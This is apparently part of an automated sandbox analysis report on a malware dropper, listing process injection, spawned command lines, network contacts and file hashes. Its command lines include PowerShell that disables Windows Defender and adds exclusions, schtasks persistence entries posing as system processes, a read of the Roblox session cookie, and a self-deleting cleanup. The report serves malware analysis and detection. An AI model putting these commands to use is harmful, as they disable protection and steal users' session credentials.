Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2684 wrote to memory of 2484 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\Nursultan (17).exe
PID 2684 wrote to memory of 2484 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\Nursultan (17).exe
PID 2684 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\t.bat
PID 2684 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\t.bat
PID 2684 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\t.bat
PID 2684 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\Umbral.exe
PID 2684 wrote to memory of 2392 N/A C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe C:\Users\Admin\AppData\Roaming\Umbral.exe
PID 2392 wrote to memory of 3628 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2392 wrote to memory of 3628 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 1680 wrote to memory of 3312 N/A C:\Users\Admin\AppData\Roaming\t.bat C:\Windows\SysWOW64\WScript.exe
PID 1680 wrote to memory of 3312 N/A C:\Users\Admin\AppData\Roaming\t.bat C:\Windows\SysWOW64\WScript.exe
PID 1680 wrote to memory of 3312 N/A C:\Users\Admin\AppData\Roaming\t.bat C:\Windows\SysWOW64\WScript.exe
PID 2484 wrote to memory of 4024 N/A C:\Users\Admin\AppData\Roaming\Nursultan (17).exe C:\Users\Admin\AppData\Roaming\Nursultan.exe
PID 2484 wrote to memory of 4024 N/A C:\Users\Admin\AppData\Roaming\Nursultan (17).exe C:\Users\Admin\AppData\Roaming\Nursultan.exe
PID 2484 wrote to memory of 392 N/A C:\Users\Admin\AppData\Roaming\Nursultan (17).exe C:\Users\Admin\AppData\Roaming\LoaderMas.exe
PID 2484 wrote to memory of 392 N/A C:\Users\Admin\AppData\Roaming\Nursultan (17).exe C:\Users\Admin\AppData\Roaming\LoaderMas.exe
PID 2392 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\SYSTEM32\attrib.exe
PID 2392 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\SYSTEM32\attrib.exe
PID 2392 wrote to memory of 4416 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2392 wrote to memory of 4416 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2392 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2392 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3312 wrote to memory of 4408 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 3312 wrote to memory of 4408 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 3312 wrote to memory of 4408 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 392 wrote to memory of 4344 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 392 wrote to memory of 4344 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4408 wrote to memory of 4868 N/A C:\Windows\SysWOW64\cmd.exe C:\perfdhcpSvc\Chainprovider.exe
PID 4408 wrote to memory of 4868 N/A C:\Windows\SysWOW64\cmd.exe C:\perfdhcpSvc\Chainprovider.exe
PID 2392 wrote to memory of 2448 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2392 wrote to memory of 2448 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2392 wrote to memory of 4508 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2392 wrote to memory of 4508 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 392 wrote to memory of 1784 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 392 wrote to memory of 1784 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4868 wrote to memory of 876 N/A C:\perfdhcpSvc\Chainprovider.exe C:\Windows\uk-UA\RuntimeBroker.exe
PID 4868 wrote to memory of 876 N/A C:\perfdhcpSvc\Chainprovider.exe C:\Windows\uk-UA\RuntimeBroker.exe
PID 392 wrote to memory of 3128 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 392 wrote to memory of 3128 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 392 wrote to memory of 3352 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 392 wrote to memory of 3352 N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2392 wrote to memory of 1468 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2392 wrote to memory of 1468 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2392 wrote to memory of 4340 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2392 wrote to memory of 4340 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2392 wrote to memory of 3708 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2392 wrote to memory of 3708 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2392 wrote to memory of 4656 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2392 wrote to memory of 4656 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2392 wrote to memory of 452 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2392 wrote to memory of 452 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\System32\Wbem\wmic.exe
PID 2392 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\SYSTEM32\cmd.exe
PID 2392 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Roaming\Umbral.exe C:\Windows\SYSTEM32\cmd.exe
PID 1748 wrote to memory of 2832 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE
PID 1748 wrote to memory of 2832 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE

Uses Task Scheduler COM API

persistence

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe

"C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe"

C:\Users\Admin\AppData\Roaming\Nursultan (17).exe

"C:\Users\Admin\AppData\Roaming\Nursultan (17).exe"

C:\Users\Admin\AppData\Roaming\t.bat

"C:\Users\Admin\AppData\Roaming\t.bat"

C:\Users\Admin\AppData\Roaming\Umbral.exe

"C:\Users\Admin\AppData\Roaming\Umbral.exe"

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\perfdhcpSvc\LUps3wjkA6jhdk7xRy8J55z2u.vbe"

C:\Users\Admin\AppData\Roaming\Nursultan.exe

"C:\Users\Admin\AppData\Roaming\Nursultan.exe"

C:\Users\Admin\AppData\Roaming\LoaderMas.exe

"C:\Users\Admin\AppData\Roaming\LoaderMas.exe"

C:\Windows\SYSTEM32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\perfdhcpSvc\mStUjP0ksX5N.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\LoaderMas.exe'

C:\perfdhcpSvc\Chainprovider.exe

"C:\perfdhcpSvc\Chainprovider.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 5 /tr "'C:\Users\Public\Downloads\sihost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Users\Public\Downloads\sihost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 5 /tr "'C:\Users\Public\Downloads\sihost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Adobe\upfc.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\upfc.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Adobe\upfc.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\conhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\conhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\conhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\perfdhcpSvc\dwm.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\perfdhcpSvc\dwm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 13 /tr "'C:\perfdhcpSvc\dwm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "LoaderMasL" /sc MINUTE /mo 12 /tr "'C:\Users\Public\LoaderMas.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "LoaderMas" /sc ONLOGON /tr "'C:\Users\Public\LoaderMas.exe'" /rl HIGHEST /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "LoaderMasL" /sc MINUTE /mo 12 /tr "'C:\Users\Public\LoaderMas.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\perfdhcpSvc\winlogon.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\perfdhcpSvc\winlogon.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 11 /tr "'C:\perfdhcpSvc\winlogon.exe'" /rl HIGHEST /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'LoaderMas.exe'

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 7 /tr "'C:\Nurik\SearchApp.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Nurik\SearchApp.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 6 /tr "'C:\Nurik\SearchApp.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Windows\uk-UA\RuntimeBroker.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\uk-UA\RuntimeBroker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Windows\uk-UA\RuntimeBroker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Windows\Migration\WTR\csrss.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\Migration\WTR\csrss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\Windows\Migration\WTR\csrss.exe'" /rl HIGHEST /f

C:\Windows\uk-UA\RuntimeBroker.exe

"C:\Windows\uk-UA\RuntimeBroker.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Umbral.exe" && pause

C:\Windows\system32\PING.EXE

ping localhost

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 227.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 208.95.112.1:80 ip-api.com tcp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 a0948305.xsph.ru udp
RU 141.8.192.103:80 a0948305.xsph.ru tcp
US 8.8.8.8:53 103.192.8.141.in-addr.arpa udp
US 8.8.8.8:53 discord.com udp
US 162.159.137.232:443 discord.com tcp
US 8.8.8.8:53 232.137.159.162.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
N/A 127.0.0.1:30683 tcp
N/A 127.0.0.1:30683 tcp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
N/A 127.0.0.1:30683 tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
N/A 127.0.0.1:30683 tcp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
BE 2.17.196.177:443 www.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
BE 2.17.196.177:443 www.bing.com tcp
US 8.8.8.8:53 177.196.17.2.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
N/A 127.0.0.1:30683 tcp
N/A 127.0.0.1:30683 tcp
US 8.8.8.8:53 27.173.189.20.in-addr.arpa udp
N/A 127.0.0.1:30683 tcp

Files

memory/2684-0-0x00007FFB16103000-0x00007FFB16105000-memory.dmp

memory/2684-1-0x0000000000BB0000-0x0000000001F80000-memory.dmp

C:\Users\Admin\AppData\Roaming\Nursultan (17).exe

MD5 ed965403e795c3b563d67c734472ad93
SHA1 6b8b929239d5ef8f1f546c591c67acaf560de4dc
SHA256 6b7473e7177ef0666f6afe36b257d0730dababefc209ee1c5f2da319dbe1633d
SHA512 bd860103c5ac1bcc02bfefc669616a1b0103dfb3c611b0e4499cf4b1fc67d49c9cd57c1839936b75e0f0008aec0f84cb0af712feb334957972661405a137f649

memory/2484-26-0x00007FFB16100000-0x00007FFB16BC1000-memory.dmp

C:\Users\Admin\AppData\Roaming\Umbral.exe

MD5 f48ef033300ec9fd3c77afff5c20e95f
SHA1 22d6125b980474b3f54937003a765cdd5352f9a8
SHA256 72ee11a905ca278130f02397422b4cc4944851065ce0072f9888b70c5ad40f1e
SHA512 847ee8cdb14879089c861168d6be90325304df490668a38447b37772423e6dab5e32a5df344ceb58410d3b24cf25cd7221e8768951e5aca14820996a1e8304bc

memory/2392-29-0x000002485C230000-0x000002485C270000-memory.dmp

memory/2484-31-0x00000000001E0000-0x000000000141A000-memory.dmp

C:\Users\Admin\AppData\Roaming\t.bat

MD5 d85bd59cf0808fb894f60773e1594a0a
SHA1 84b9d205f3ae6ca4f8f1bb938ee8b4d452444cde
SHA256 f3ef597673421e514d7fed82b40d65386c3811c4a8f5553afd59fc632bca8746
SHA512 225788e3e98449f53e6206c585315a37c9ff6ed0b5425b2a98e50c7ac45ab3c187ccf7626f126ba300bd8dbdf89c864e89f85d6264edc89281745b081ec58f97

C:\perfdhcpSvc\LUps3wjkA6jhdk7xRy8J55z2u.vbe

MD5 00b53f3e200522631227cac1a07e0646
SHA1 a0c69d58c7ca10f5fd5e1320b1b2f92081d7fcfe
SHA256 486c050aadc42906113b0c5c8485dff36b0187f343a732542608a91b0565146c
SHA512 22241ae8a31c7e564c9fb652947e4fe17f80c6e94dfe1a3bb5890f6eb97797ee32ccfff5d647eef02bda31bd47c5d95521cd0c6349a01e501e6e064ea6306243

C:\Users\Admin\AppData\Roaming\Nursultan.exe

MD5 e504e3fc36fe4d6f182c98923979a779
SHA1 3ba9f1a9a15b79639a20cfcf79c9de31d15a17a6
SHA256 70b7b95bb952b3325476867307fc5bd4df5769b97bbcdd8b60e7b46e1b38e4a0
SHA512 63bbbc3ccf14b2846df64b8edae52b6431df52aa9e03569a28ca239ab02db94bf79ca8a0a30529e35a04ee5845768d752b99e6ce3830ab440c57850180ad1647

C:\Users\Admin\AppData\Roaming\LoaderMas.exe

MD5 a0dbdf3af38ead2237ccb781a098a431
SHA1 1434296af6c5530eb036718e860490e0adc3321a
SHA256 6f483da6b36646bf6f33db0c210bd3683ff29428a44d916a2f26a4240c1a9901
SHA512 dd7dc91a2e09b0c3906efbb486fb84d0289dc61338afd75d203f1ab2f49556c9523a8a9abc913363a45dde8194f5b2ee9d3d659807250047331944c39006edc3

memory/2484-61-0x00007FFB16100000-0x00007FFB16BC1000-memory.dmp

memory/392-60-0x0000000000C80000-0x0000000000C96000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1omxtxew.ule.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4416-72-0x00000268C52C0000-0x00000268C52E2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

memory/4024-86-0x00007FFB342B0000-0x00007FFB342B2000-memory.dmp

memory/4024-87-0x0000000140000000-0x0000000142153000-memory.dmp

C:\perfdhcpSvc\mStUjP0ksX5N.bat

MD5 a9330c6da12d90d5d956ae2bbcf017d7
SHA1 7ebaa14eed80db6d9f0c0c0f1ecab1a9c3f61410
SHA256 b49853470383dce14680f656aca7ea449b1d6aabb3f18d4165ebd7e3e7545393
SHA512 557c91cc1cc0d7309f50e286644a2da543c0283d4a1659f7d31554282ddc48b5f972d98d5a01433078fdbe6cc813bb6f7c120e2307fae48c5d81be44ae823228

C:\perfdhcpSvc\Chainprovider.exe

MD5 d2ec227ddac047e735393e58e742fd44
SHA1 7aae5c76378f7cfcff8bb983695fa4c2577a20e2
SHA256 0e679527f2df9f87d33c82023256fac276c36006579d2d71877ccab4be847cce
SHA512 5a11b292a574bd2ca6c225af1e4c9f95004a49ce816cc59a73d4ab6e2a0b007a58ab56e5e0c004901c3ebe4ec06054e6e801f8e659711856857add6d43f38979

memory/2392-97-0x00000248769F0000-0x0000024876A66000-memory.dmp

memory/2392-99-0x0000024876970000-0x00000248769C0000-memory.dmp

memory/4868-100-0x0000000000480000-0x0000000000556000-memory.dmp

memory/2392-110-0x000002485C700000-0x000002485C71E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 662707365ec545ebd12f6f5c3da00b5e
SHA1 be4644f6c71b6c40656767aa204a0babd6fa6e90
SHA256 79cd04be8be3d67d6cedbef472f95210807515706c9cf12f73fbd451122d55c6
SHA512 309f566f67775ee83e44547475e322fba2ef67c4ff40eb8109a0537f67b13d66b0def5f0ed544383e0345bcbcb035fb721147f695795e4baa304ef59bb1cb757

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 88be3bc8a7f90e3953298c0fdbec4d72
SHA1 f4969784ad421cc80ef45608727aacd0f6bf2e4b
SHA256 533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a
SHA512 4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 22310ad6749d8cc38284aa616efcd100
SHA1 440ef4a0a53bfa7c83fe84326a1dff4326dcb515
SHA256 55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf
SHA512 2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

memory/2392-189-0x00000248769C0000-0x00000248769D2000-memory.dmp

memory/2392-188-0x000002485C8E0000-0x000002485C8EA000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 15dde0683cd1ca19785d7262f554ba93
SHA1 d039c577e438546d10ac64837b05da480d06bf69
SHA256 d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961
SHA512 57c0e1b87bc1c136f0d39f3ce64bb8f8274a0491e4ca6e45e5c7f9070aa9d9370c6f590ce37cd600b252df2638d870205249a514c43245ca7ed49017024a4672

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a2c8179aaa149c0b9791b73ce44c04d1
SHA1 703361b0d43ec7f669304e7c0ffbbfdeb1e484ff
SHA256 c1d30342a40a2b6e7553da30ceb85754d33820f6fbb3bbbed1ceb30d6390de4a
SHA512 2e201dd457d055baad86f68c15bcc7beb48d6dc2ffc10db7f304eb93f697e7b45991cbde857d25da2c9c60c23f3e13df8b5ed5809c1753737a23096e296cc9e3